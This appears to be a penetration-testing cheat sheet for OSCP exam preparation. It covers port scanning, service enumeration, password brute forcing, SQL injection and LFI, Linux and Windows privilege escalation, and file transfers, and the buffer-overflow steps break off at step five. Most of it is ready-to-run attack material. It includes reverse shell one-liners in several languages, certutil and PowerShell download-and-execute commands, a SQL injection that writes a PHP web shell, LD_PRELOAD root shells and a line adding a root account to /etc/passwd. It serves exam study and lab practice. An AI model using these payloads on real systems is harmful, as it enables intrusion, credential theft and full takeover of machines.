OSCP
Document originally created by Offensive Security
Enumeration
Port Scanning
Basic Scan
nmap -sC -sV -oA nmap -A -T5 10.10.10.xsC: default scriptssV: scan for versionsoA: output all formatsOptional:
-sT(performs full TCP connect scan instead of SYN scan to prevent getting flagged by firewalls)
Host Discovery
# Nmap Ping Scan
nmap -sn 10.10.1.1-254 -vv -oA hosts
# Netdiscover
netdiscover -r 10.10.10.0/24DNS server discovery
nmap -p 53 10.10.10.1-254 -vv -oA dcsNSE Scripts Scan
# Vulscan NSE script (https://securitytrails.com/blog/nmap-vulnerability-scan)
nmap -sV --script=vulscan/vulscan.nse
# List port-specific NSE scripts
ls /usr/share/nmap/scripts/ssh*
ls /usr/share/nmap/scripts/smb*Scanning all 65535 ports
# 1. Use masscan to quickly find open ports
masscan -p1-65535,U:1-65535 --rate=1000 10.10.10.x -e tun0 > ports
# 2. Extract port numbers and run a detailed nmap scan on them
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -u | tr '\n' ',')
nmap -Pn -sV -sC -p$ports 10.10.10.x
# Running specific vulnerability NSE scripts on found ports
nmap -Pn -sC -sV --script=vuln*.nse -p$ports 10.10.10.x -T5 -AMisc
From Apache Version to finding Ubuntu version -> search for "ubuntu httpd versions"
FTP (Port 21)
Anonymous login check
ftp <ip address> # username: anonymous # pwd: anonymousFile upload ->
put shell.php
SSH (Port 22)
id_rsa.pub: Public key that can be used inauthorized_keysfor login.id_rsa: Private key that is used for login. Might ask for a password. Can be cracked withssh2johnandjohn.# Crack SSH private key password ssh2john id_rsa > hash.txt john --wordlist=/path/to/wordlist.txt hash.txt # Login with private key ssh -i id_rsa [email protected] # For passwordless login, add id_rsa.pub to target's authorized_keys
DNS Zone transfer check (Port 53)
If port 53 is open
Add host to
/etc/hostsdig axfr smasher.htb @10.10.10.135See also: Smasher2
Add the extracted domain to
/etc/hostsanddigagain
RPC Bind (111)
rpcclient --user="" --command=enumprivs -N 10.10.10.10
rpcinfo -p 10.10.10.10
rpcbind -p 10.10.10.10RPC (135)
rpcdump.py 10.11.1.121 -p 135
rpcdump.py 10.11.1.121 -p 135 | grep ncacn_np // get pipe names
rpcmap.py ncacn_ip_tcp:10.11.1.121[135]SMB (139 & 445)
Resource: SMB Enumeration Checklist
# Check supported SMB protocols
nmap --script smb-protocols 10.10.10.10
# List shares (smbclient)
smbclient -L //10.10.10.10
smbclient -L //10.10.10.10 -N // No password (SMB Null session)
smbclient --no-pass -L 10.10.10.10
# Connect to a share
smbclient //10.10.10.10/share_name
# List shares and permissions (smbmap)
smbmap -H 10.10.10.10
smbmap -H 10.10.10.10 -u "" -p ""
smbmap -H 10.10.10.10 -s share_name
# CrackMapExec
crackmapexec smb 10.10.10.10 -u "" -p "" --shares
crackmapexec smb 10.10.10.10 -u 'sa' -p "" --shares
crackmapexec smb 10.10.10.10 -u 'sa' -p 'sa' --shares
crackmapexec smb 10.10.10.10 -u "" -p "" --share share_name
# Enum4linux
enum4linux -a 10.10.10.10
# RPC Client enumeration
rpcclient -U "" 10.10.10.10
# Commands inside rpcclient:
# * enumdomusers
# * enumdomgroups
# * queryuser [rid]
# * getdompwinfo
# * getusrdompwinfo [rid]
# Brute force credentials
ncrack -u username -P rockyou.txt -T 5 10.10.10.10 -p smb -v
# Mount a share
mkdir /mnt/wins
mount -t cifs "//10.1.1.1/share/" /mnt/wins
mount -t cifs "//10.1.1.1/share/" /mnt/wins -o vers=1.0,user=root,uid=0,gid=0
# SMB Shell to Reverse Shell
smbclient -U "username%password" //192.168.0.116/sharename
# Inside smbclient prompt:
# smb> logon "/=nc 'attack box ip' 4444 -e /bin/bash"Checklist:
Samba symlink directory traversal attack
SMB Exploits
Samba "username map script" Command Execution - CVE-2007-2447
Version 3.0.20 through 3.0.25rc3
Exploit: Samba-usermap-exploit.py
Eternal Blue - CVE-2017-0144
Affects: SMBv1 in Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; Windows 10 Gold, 1511, and 1607; and Windows Server 2016
Exploit: MS17-010-Manual-Exploit
SambaCry - CVE-2017-7494
Version 4.5.9 and before
Exploit: exploit-CVE-2017-7494
SNMP (161)
snmpwalk -c public -v1 10.0.0.0
snmpcheck -t 192.168.1.X -c public
onesixtyone -c names -i hosts
nmap -sT -p 161 192.168.X.X -oG snmp_results.txt
snmpenum -t 192.168.1.XIRC (194, 6667, 6660-7000)
nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,6660-7000 irked.htbExploit for UnrealIRCd backdoor: UnrealIRCd-3.2.8.1-Backdoor
NFS (2049)
showmount -e 10.1.1.27mkdir /mnt/nfsmount -t nfs 192.168.2.4:/nfspath-shown /mnt/nfsPermission Denied? Write-up Vulnix
MYSQL (3306)
nmap -sV -Pn -vv 10.0.0.1 -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122
Redis (6379)
In the output of config get * you could find the home of the redis user (usually /var/lib/redis or /home/redis/.ssh), and knowing this you know where you can write the authenticated_users file to access via ssh with the user redis. If you know the home of other valid user where you have writable permissions you can also abuse it:
Generate a ssh public-private key pair on your pc:
ssh-keygen -t rsaWrite the public key to a file:
(echo -e "\n\n"; cat ./.ssh/id_rsa.pub; echo -e "\n\n") > foo.txtImport the file into redis:
cat foo.txt | redis-cli -h 10.10.10.10 -x set crackitSave the public key to the
authorized_keysfile on redis server:root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /home/test/.ssh/ OK 10.85.0.52:6379> config set dbfilename "authorized_keys" OK 10.85.0.52:6379> save OK
Port Knocking
# TCP
knock -v 192.168.0.116 4 27391 159
# UDP
knock -v 192.168.0.116 4 27391 159 -u
# TCP & UDP
knock -v 192.168.1.111 159:udp 27391:tcp 4:udpMisc
Run autorecon
IF NOTHING WORKS
HTB Admirer Walkthrough: https://www.youtube.com/watch?v=_zMg0fHwwfw&ab_channel=IppSec
Bruteforce
Directory Bruteforce
Cewl:
cewl -d 2 -m 5 -w docswords.txt http://10.10.10.10-d depth-m minimum word length-w output file--lowercaselowercase all parsed words (optional)
Password / Hash Bruteforce
Hashcat:
m parameter examples: https://hashcat.net/wiki/doku.php?id=example_hashes
hashid match: https://mattw.io/hashID/types
hashcat -m 0 'hash$' /home/kali/Desktop/rockyou.txt // MD5 raw
hashcat -m 1800 'hash$' /home/kali/Desktop/rockyou.txt // sha512crypt
hashcat -m 1600 'hash$' /home/kali/Desktop/rockyou.txt // MD5(APR)
hashcat -m 1500 'hash$' /home/kali/Desktop/rockyou.txt // DES(Unix), Traditional DES
hashcat -m 500 'hash$' /home/kali/Desktop/rockyou.txt // MD5crypt, MD5 (Unix)
hashcat -m 400 'hash$' /home/kali/Desktop/rockyou.txt // WordpressJohn the Ripper:
john hashfile --wordlist=/home/kali/Desktop/rockyou.txt --format=raw-md5Online tools
LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults
https://www.dcode.fr/tools-list
MD4, MD5, RC4 Cipher, RSA Cipher, SHA-1, SHA-256, SHA-512, XOR Cipher
https://md5.gromweb.com/ (MD5)
Protocols Bruteforce
Hydra
Supports: TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC, irc, RSH, RLOGIN, CVS, SNMP, SMTP, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, XMPP, ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable, AFP, Subversion/SVN, Firebird, LDAP2, Cisco AAA
Medusa
Supports: AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NetWare NCP, NNTP, PcAnywhere, POP3, PostgreSQL, REXEC, RLOGIN, RSH, SMBNT, SMTP-AUTH, SMTP-VRFY, SNMP, SSHv2, Subversion (SVN), Telnet, VMware Authentication Daemon (vmauthd), VNC, Generic Wrapper, Web Form
Ncrack (Fastest)
Supports: RDP, SSH, http(s), SMB, pop3(s), VNC, FTP, telnet
SSH Bruteforce
ncrack -v -U user.txt -P pass.txt ssh://10.10.10.10:<port> -T5
hydra -L users.txt -P pass.txt 192.168.0.114 sshSMB Bruteforce
ncrack -u qiu -P rockyou.txt -T 5 192.168.0.116 -p smb -vHTTP Post Bruteforce
hydra -L users.txt -P rockyou.txt 10.10.10.10 http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login:F=Invalid username or password"Wordlist Management
# For removing duplications in wordlist
cat wordlist.txt| sort | uniq > new_word.txtWeb (80, 443)
Checklist
Port 443 Specifics
nmap -Pn -sV --script ssl* -p 443 10.10.10.60 -A -T5Heartbleed (
sslyze --heartbleed <ip>)Heartbleed exploit code (gist)
Shellshock
Poodle
IIS
Try changing file extension from
.aspto.asp.txtto reveal the source code.
Apache
Struts: Apache-Struts-0Day-Exploit
Shell shock: Exploit-DB 34900
Directory Enumeration
Apache Extensions:
php,asp,txt,xml,bakIIS Extensions:
asp,aspx,txt,ini,tmp,bak,old
Gobuster quick directory busting
gobuster dir -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 80 -u http://10.10.10.xGobuster search with file extension
gobuster dir -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 100 -u http://10.10.10.x -x php,txt
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.x -x html
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.10.10.xGobuster comprehensive directory busting
gobuster dir -s 200,204,301,302,307,403 -w /usr/share/seclists/Discovery/Web_Content/big.txt -u http://10.10.10.xgobuster dir -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -u http://10.10.10.x-k: ignore SSL verification-x: specific extensionOther tools: Dirbuster, Dirb
Custom directory enumeration (HTB Obscurity):
wfuzz -c -z file,common.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
Parameter Fuzzing
WFUZZ
hc: status code to ignorehw: word length to ignorehh: char length to ignorehl: line length to ignore
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 http://example.com/FUZZWordpress
Wpscan
# Enumerate users & vulnerable plugins
wpscan --url http://10.10.10.10 -e u,vp
# Bruteforce passwords
wpscan --url 10.10.10 --passwords rockyou.txt --usernames elliotMetasploit
use auxiliary/scanner/http/wordpress_login_enumUsername Enumeration via Bruteforce
Script: wp_login_user_enumeration.py
python wp_brute.py -t http://10.10.10.10 -u usernames.txt
SQL Injection
Payloads
)'
"
')
")
`')
'))
"))
`))
'-SLEEP(30); #Login Bypass
-- Both user and password, or specific username and payload as password
' or 1=1 --
' or '1'='1
' or 1=1 --+
user' or 1=1;#
user' or 1=1 LIMIT 1;#
user' or 1=1 LIMIT 0,1;#UNION BASED SQL
' order by 1 --
' UNION SELECT 1,2,3 --
' UNION SELECT 1,@@version,3 --
' UNION SELECT 1,user(),3 --
' UNION SELECT 1,load_file('/etc/passwd'),3 --
' UNION SELECT 1,load_file(0x2f6574632f706173737764),3 -- //hex encode
' UNION SELECT 1,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),3 -- // char encode
-- List databases available
' UNION SELECT 1,2,3,4,5,group_concat(table_schema) from information_schema.schemata --
-- Fetch Table names
' UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --
' union all select 1,2,3,4,table_name,6 FROM information_schema.tables --
-- Fetch Column names from Table
' UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --
' union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users' --
-- Dump data from Columns using 0x3a as seperator
' UNION SELECT 1,group_concat(user,0x3a,pasword),3 from users limit 0,1--
-- Backdoor
' union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE '/var/www/html/shell.php'--MSSQL
'; WAITFOR DELAY '00:00:30'; --File Upload
HTTP PUT
nmap -p 80 192.168.1.103 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='/path/to/shell.php'
curl -X PUT -d '<?php system($_GET["c"]);?>' http://192.168.2.99/shell.phpCadaver
cadaver http://192.168.1.103/dav/
put /tmp/shell.phpJPG to PNG shell
# shell.php
<?php system($_GET['cmd']); ?>
# Embed shell into image metadata
exiftool "-comment<=shell.php" malicious.png
# Verify
strings malicious.png | grep systemUpload Files through POST
# POST file
curl -X POST -F "file=@/file/location/shell.php" http://$TARGET/upload.php
# POST binary data to web form
curl -F "field=<shell.zip" http://$TARGET/upld.php -F 'k=v' --cookie "k=v;"
curl -F "field=<shell.zip" http://$TARGET/upld.php -F 'k=v' --cookie "k=v;" -F "submit=true" -L -vLFI (Local File Inclusion)
Common Files
/etc/passwd
/etc/shadow
/etc/knockd.conf // port knocking configLFI with Wfuzz
wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt http://url/index.php?page=FUZZBasic LFI
http://url/index.php?page=../../../etc/passwd
http://url/index.php?page=../../../etc/shadow
http://url/index.php?page=../../../home/user/.ssh/id_rsa.pub
http://url/index.php?page=../../../home/user/.ssh/id_rsa
http://url/index.php?page=../../../home/user/.ssh/authorized_keysNull byte (%00)
http://url/index.php?page=../../../etc/passwd%00php://filter
http://url/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://url/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.phpinput://
http://url/index.php?page=php://input
# POST DATA: <?php system('id'); ?>Linux Privilege Escalation
OS & User Enumeration
################# User Enumeration #################
whoami
id
sudo -l
cat /etc/passwd
ls -la /etc/shadow
################# OS Enumeration ###################
cat /etc/issue
cat /etc/*-release
cat /proc/version
uname -a
arch
ldd --version
################# Installed tools ##################
which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp
############# File owners and permissions ##########
ls -la
find . -ls
history
cat ~/.bash_history
find / -type f -user <username> -readable 2> /dev/null # Readable files for user
find / -writable -type d 2>/dev/null # Writable files by the user
find /usr/local/ -type d -writable
################# File mount #######################
# /mnt /media -> usb devices and other mounted disks
mount # show all the mounted drives
df -h # list all partitions
cat /etc/fstab # list all drives mounted at boot time
/bin/lsblk
################# Applications #####################
dpkg -l # for Debian based systems
################# Cron tabs ########################
ls -lah /etc/cron*
cat /etc/crontab
ls -la /var/log/cron* # Locating cron logs
find / -name cronlog 2>/dev/null
grep "CRON" /var/log/cron.log # for locating running jobs from logs
grep CRON /var/log/syslog # grepping cron from syslog
################# Internal Ports ###################
netstat -alnp | grep LIST | grep port_num
netstat -antp
netstat -tulnp
# curl the listening ports
################ Interesting DIRS ##################
/
/dev
/scripts
/opt
/mnt
/var/www/html
/var
/etc
/media
/backup
################# SUID Binaries ####################
# (https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/)
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -user root 2>/dev/null
ldd /usr/bin/binary-name
strace /usr/local/bin/fishybinary 2>&1 | grep -iE "open|access|no such file"
################ Firewall Enumeration ##############
grep -Hs iptables /etc/*
################ Kernal Modules ####################
lsmod
/sbin/modinfo <mod name>Privesc Checklist
sudo rights (link)
sensitive files & permission misconfiguration (SSH keys, shadow files)
SUID Binaries
Internal Ports
Processes running with root privilege
Cron tabs
Hidden cron process with pspy
Mounted filesystems
TMUX session hijacking
Path Hijacking
Process Injection (link)
Docker PS
Environment variables
bash version < 4.2-048 | 4.4 (TryHackMe Task 14, 15)
NFS Misconfiguration
linpeas.sh -a //all checks
SUID Shared Object Injection
Find a SUID binary that looks fishy
strace /usr/local/bin/fishybinary 2>&1 | grep -iE "open|access|no such file"Match the shared object that sits in a path where you have write access
Create a shared object in the missing SO file name
Run the SUID binary
NFS Misconfiguration
Resource: TryHackMe Task 19
On Target:
cat /etc/exports(Look forno_root_squash)On Kali:
mkdir /tmp/nfs mount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs # Create payload msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf chmod +xs /tmp/nfs/shell.elfOn Target:
/tmp/shell.elf
Kernel Exploits
Enumerate Kernel Version
cat /proc/version uname -r uname -mrs cat /etc/lsb-release cat /etc/os-releaseSearch for exploits (searchsploit, google)
Compile exploit:
gcc exploit.c -o expCompile exploit in local machine and upload to remote machine
# Example for 32-bit gcc -m32 -Wl,--hash-style=both 9542.c -o 9542 sudo apt-get install gcc-multilib
Recover Deleted Files
extundelete (HTB mirai - link)
strings
C Program to SetUID /bin/bash
#include <unistd.h>
int main()
{
setuid(0);
execl("/bin/bash", "bash", (char *)NULL);
return 0;
}Compile and execute:
gcc -Wall suid.c -o exploit
sudo chown root exploit
sudo chmod u+s exploit
$ ls -l exploit
-rwsr-xr-x 1 root users 6894 11 sept. 22:05 exploit
./exploit
# whoami
rootMySQL Privilege Escalation
MYSQL UDF Exploit: https://www.exploit-db.com/exploits/1518
# Compile shared object
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o
# In MySQL
mysql -u root
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
exit;
# Execute shell
user@target$ /tmp/rootbash -pMYSQL running as root:
mysql -u root
select sys_exec('whoami');
select sys_eval('whoami');
/* If function doesnt exist, create the function */
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
-- if NULL returns, try redirecting the errors
select sys_eval('ls /root 2>&1');Sudo Abuse
Check
sudo -l$ sudo -l [sudo] password for appadmin: User appadmin may run the following commands on this host: (root) /opt/Support/start.shChecklist
Environment Variables
Resource: TryHackMe Room
Check which environment variables are inherited (look for the
env_keepoptions insudo -l).
LD_PRELOAD LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries that the loader will load before any other shared library.
/* preload.c */
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}Compile and run:
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so program-name-hereLD_LIBRARY_PATH LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.
Run
lddagainst the program you can execute as sudo:ldd /usr/sbin/apache2Create a shared object with the same name as one of the listed libraries (e.g.,
libcrypt.so.1)/* library_path.c */ #include <stdio.h> #include <stdlib.h> static void hijack() __attribute__((constructor)); void hijack() { unsetenv("LD_LIBRARY_PATH"); setresuid(0,0,0); system("/bin/bash -p"); }Compile and run:
gcc -o /tmp/libcrypt.so.1 -shared -fPIC library_path.c sudo LD_LIBRARY_PATH=/tmp program-name-here
Other Escalation Methods
# Set root password
echo 'root:password' | chpasswd
# Add new root user to /etc/passwd
echo "exploit:YZE7YPhZJyUks:0:0:root:/root:/bin/bash" >> /etc/passwd
su exploit
# Edit /etc/passwd to change user GID to 0 (root)
nano /etc/passwd
# Add NOPASSWD to /etc/sudoers
nano /etc/sudoers
# user ALL=(ALL) NOPASSWD:ALL
# Copy bash, set SUID bit
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
/tmp/rootbash -pTools & Resources
Tools
Linux Exploit Suggester (HTB Nibbles)
pspy (for crontabs)
Windows Privilege Escalation
Enumeration
OS Info Enumeration
systeminfo
hostname
echo %username%
wmic qfe -> check patches
wmic logicaldisk -> get other disk informationUser Enumeration
whoami
whoami /priv -> check user privileges
whoami /groups -> check user groups
net user -> list all users
net user <username> -> check groups associated with a user
net localgroup -> Check all the local groups available
net localgroup <group name> -> List the members of the given localgroupTask | Service | Process Enumeration
sc queryex type= service (Lists all services)
tasklist /SVC
tasklist
net start
DRIVERQUERY
wmic product get name, version, vendorPermission Enumeration
# Check permissions on Program Files
icacls "C:\Program Files"
# Grant permission to a file
icacls root.txt /grant <username>:F
# Check PowerShell history file
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
# Check stored usernames and passwords
cmdkey /listNetwork based
ipconfig
ipconfig /all
arp -a
route print
netstat -anoPassword Hunting
findstr /si password *.txt *.ini *.config
dir /s *pass* == *cred* == *vnc* == *.config*
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc*
where /R C:\ user.txt
where /R C:\ *.iniAV / Firewall check / Service Enumeration
sc query windefend
netsh advfirewall firewall dump
netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=all
netsh firewall show state (show firewall running or stopped)
netsh firewall show config (show firewall configuration)
netsh firewall set opmode disable # Disable firewallScheduled Tasks
schtasks /query /fo LIST /vMount Information
mountvolEscalation Techniques
Service Account Priv Esc (Token Impersonation)
Check
whoami /privforSeImpersonatePrivilege.Use JuicyPotato, RottenPotato, etc.
Run As
Use
cmdkeyto list stored credentials.cmdkey /list Currently stored credentials: Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\AdministratorUsing
runaswith a provided set of credentials.runas /savecred /user:admin C:\PrivEsc\reverse.exe C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "command"
Access Check (Sysinternals accesschk.exe)
accesschk.exe -ucqv [service_name] /accepteula
accesschk.exe -uwcqv "Authenticated Users" * (won't yield anything on Win 8)Find all weak folder permissions per drive:
accesschk.exe /accepteula -uwdqs Users c:\ accesschk.exe /accepteula -uwdqs "Authenticated Users" c:\Find all weak file permissions per drive:
accesschk.exe /accepteula -uwsv "Everyone" "C:\Program Files" accesschk.exe /accepteula -uwqs Users c:\*.* accesschk.exe /accepteula -uwqs "Authenticated Users" c:\*.*Powershell equivalent:
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone"}
Binary Planting / Hijacking Service Binary
sc qc [service_name] // for service properties sc query [service_name] // for service status # Check permissions on the binary path with icacls # If writable, replace the original binary with a malicious one. # Modify service binary path sc config [service_name] binpath= "C:\Temp\nc.exe -nv [RHOST] [RPORT] -e C:\WINDOWS\System32\cmd.exe" sc config [service_name] obj= ".\LocalSystem" password= "" # Start the service net start [service_name]
Unquoted Service Path Privilege Escalation
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """If a path is unquoted and has spaces (e.g.,
C:\Program Files\Some App\service.exe), you can place a malicious executable atC:\Program.exe.
Always Install Elevated
Check registry keys:
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\InstallerIf both are set to
1, you can generate and run a malicious MSI file.msfvenom -p windows/shell_reverse_tcp LHOST=10.x.x.x LPORT=4444 -f msi > install.msiOn target:
C:> msiexec /quiet /qn /i install.msi
Kernel Exploits
Run
systeminfo, capture the output, and runwindows-exploit-suggester.pyagainst it.Compiling Kernel Exploits (using mingw-w64):
# 64-bit x86_64-w64-mingw32-gcc exploit.c -o exploit.exe # 32-bit i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32
Automated Enumeration Tools
Powershell:
powershell -ep bypassload powershell(only in meterpreter)
EXE:
Metasploit:
getsystem
run post/multi/recon/local_exploit_suggesterResources
https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation (Win Privesc Checlist)
Reverse Shells & TTY
Listeners
# Socat
socat file:`tty`,echo=0,raw tcp-listen:LPORT
# Netcat
nc -lvvp LPORTLinux Reverse Shells
Bash
bash -i >& /dev/tcp/LHOST/LPORT 0>&1
0<&196;exec 196<>/dev/tcp/LHOST/LPORT; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/LHOST/LPORT && while read line 0<&5; do $line 2>&5 >&5; doneNetcat
nc -e /bin/sh LHOST LPORT
/bin/sh | nc LHOST LPORT
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/fPHP
php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'Perl
perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Ruby
ruby -rsocket -e'f=TCPSocket.open("LHOST",LPORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'Windows Reverse Shells
Powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("LHOST",LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae73b7da09e51921a64613c3b28b780/voile')Certutil
# Download and execute
certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe shell.exe && shell.exe
# Base64 encoded payload delivery
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exeMetasploit SMB Delivery
use exploit/windows/smb/smb_delivery
set srvhost 192.168.1.109 //your LHOST
exploitOn target machine:
rundll32.exe \\192.168.1.109\vabFG\test.dll,0Spawning a TTY Shell
Python
python -c 'import pty; pty.spawn("/bin/bash")'Socat
On attacker machine:
socat file:`tty`,raw,echo=0 tcp-listen:4444On victim machine:
socat exec:"/bin/bash -li",pty,stderr,setsid,sigint,sane tcp:<attacker_ip>:<attacker_port>
Script
/usr/bin/script -qc /bin/bash /dev/nullUpgrading to a Fully Interactive TTY
Background the remote shell with
CTRL-Z.user@remote:~$ ^ZOn your local machine, get terminal dimensions.
user@local:~$ stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; //g' rows 50 cols 180Set local shell to raw mode and foreground the remote shell.
user@local:~$ stty raw -echo; fgOnce back in the remote shell, set the correct size.
user@remote:~$ stty rows 50 cols 180Set terminal type for colors.
user@remote:~$ export TERM=xterm-256colorReload bash.
user@remote:~$ exec /bin/bash
Restricted Shell / SSH Bypass
If reverse shell is not working, try port
443or80.Check for bad characters breaking the shell.
Ways to get a non-profile shell:
ssh hostname -t "bash --noprofile" ssh -t user@host bash --norc --noprofile ssh -t username@hostname /bin/sh ssh -t user@host "bash --norc --noprofile -c '/bin/rm .bashrc'"Shellshock bypass:
ssh -i noob [email protected] '() { :; }; uname -a'Bypass PATH restrictions:
export PATH=/bin/:/sbin/:/usr/bin/:$PATH payload = "python -c 'import pty;pty.spawn(\"/bin/bash\")'"
File Transfers
Set up FTP Server (Kali)
apt-get install python-pyftpdlib
# Don't run from TMUX
python -m pyftpdlib -p 21Set up SMB Server (Kali)
impacket-smbserver tmp .Set up HTTP Server (Kali)
# Python 2
python -m SimpleHTTPServer 80
# Python 3
python3 -m http.server 80
# updog (https://github.com/sc0tfree/updog)
updogLinux Client Download
curl http://<ip>/file -o file
wget http://<ip>/fileWindows Client Download
certutil -urlcache -f http://<ip>/uri output.ext
copy \\10.10.10.x\smb\file.exe .Netcat Transfer
Receiver (Listens)
nc -nlvp 4444 > fileSender
nc <receiver_ip> 4444 < fileBase64 Encoded Sender (for binaries)
cat binary | base64 | nc <receiver_ip> 4444
# On receiver, pipe to base64 -dBuffer Overflows
Steps:
Fuzzing (find the crash point)
Finding the Offset (control EIP)
Overwriting the EIP
Finding Bad Characters
Finding the JMP ESP address
Exploiting the System
1. Fuzzing
#!/usr/bin/python
import sys, socket
buffer = "A" * 3000
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.0.71', 9999))
s.send(('TRUN /.:/' + buffer))
s.recv(1024)
s.close()
except:
print "Error connecting"
sys.exit()2. Finding the Offset
Cmd:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <EIP_VALUE>Example: pattern_offset.rb -q 386F4337 -> 2003
3. Overwriting the EIP
#!/usr/bin/python
import sys, socket
# Offset of 2003, EIP controlled by 4 B's
shellcode = 'A' * 2003 + 'B' * 4
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.0.71', 9999))
s.send('TRUN /.:/' + shellcode)
s.close()
except:
print('Error connecting to server')
sys.exit()4. Finding the bad Characters
Generate all characters from \x01 to \xff. Send them after the EIP overwrite and observe the memory dump in the debugger to see which ones are missing or mangled. The null byte \x00 is almost always a bad character.
5. Finding the JMP ESP Instruction Address
